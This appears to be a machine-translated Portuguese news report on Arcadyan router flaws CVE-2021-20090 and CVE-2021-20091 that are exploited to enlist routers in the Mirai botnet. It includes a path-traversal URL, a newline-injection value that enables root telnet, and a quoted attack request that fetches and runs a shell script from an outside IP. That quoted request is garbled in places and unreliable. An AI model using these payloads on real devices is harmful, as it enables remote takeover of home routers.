Um ataque massivo foi registrado na rede contra roteadores domésticos cujo firmware usa uma implementação de servidor HTTP da empresa Arcadyan. Para obter controle sobre os dispositivos, é usada uma combinação de duas vulnerabilidades que permite a execução remota de código arbitrário com direitos de root. O problema afeta uma gama bastante ampla de roteadores ADSL da Arcadyan, ASUS e Buffalo, bem como dispositivos fornecidos sob as marcas Beeline (o problema é confirmado em Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone e outras operadoras de telecomunicações. Observa-se que o problema está presente no firmware Arcadyan há mais de 10 anos e durante esse tempo conseguiu migrar para pelo menos 20 modelos de dispositivos de 17 fabricantes diferentes.
A primeira vulnerabilidade, CVE-2021-20090, possibilita o acesso a qualquer script de interface web sem autenticação. A essência da vulnerabilidade é que na interface web, alguns diretórios através dos quais imagens, arquivos CSS e scripts JavaScript são enviados são acessíveis sem autenticação. Neste caso, os diretórios para os quais é permitido o acesso sem autenticação são verificados através da máscara inicial. A especificação de caracteres “../” em caminhos para ir para o diretório pai é bloqueada pelo firmware, mas o uso da combinação “..%2f” é ignorado. Assim, é possível abrir páginas protegidas ao enviar solicitações como “http://192.168.1.1/images/..%2findex.htm”.
A segunda vulnerabilidade, CVE-2021-20091, permite que um usuário autenticado faça alterações nas configurações do sistema do dispositivo enviando parâmetros especialmente formatados para o script apply_abstract.cgi, que não verifica a presença de um caractere de nova linha nos parâmetros . Por exemplo, ao realizar uma operação de ping, um invasor pode especificar o valor “192.168.1.2%0AARC_SYS_TelnetdEnable=1” no campo com o endereço IP que está sendo verificado, e o script, ao criar o arquivo de configurações /tmp/etc/config/ .glbcfg, escreverá a linha “AARC_SYS_TelnetdEnable = 1” nele ", que ativa o servidor telnetd, que fornece acesso irrestrito ao shell de comando com direitos de root. Da mesma forma, ao definir o parâmetro AARC_SYS, você pode executar qualquer código no sistema. A primeira vulnerabilidade torna possível executar um script problemático sem autenticação, acessando-o como “/images/..%2fapply_abstract.cgi”.
Para explorar vulnerabilidades, um invasor deve ser capaz de enviar uma solicitação à porta de rede na qual a interface da web está sendo executada. A julgar pela dinâmica de propagação do ataque, muitas operadoras deixam o acesso em seus dispositivos a partir da rede externa para simplificar o diagnóstico de problemas pelo serviço de suporte. Se o acesso à interface for limitado apenas à rede interna, um ataque poderá ser realizado a partir de uma rede externa utilizando a técnica “DNS rebinding”. Vulnerabilidades já estão sendo usadas ativamente para conectar roteadores ao botnet Mirai: POST /images/..%2fapply_abstract.cgi Conexão HTTP/1.1: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX
Fonte: opennet.ru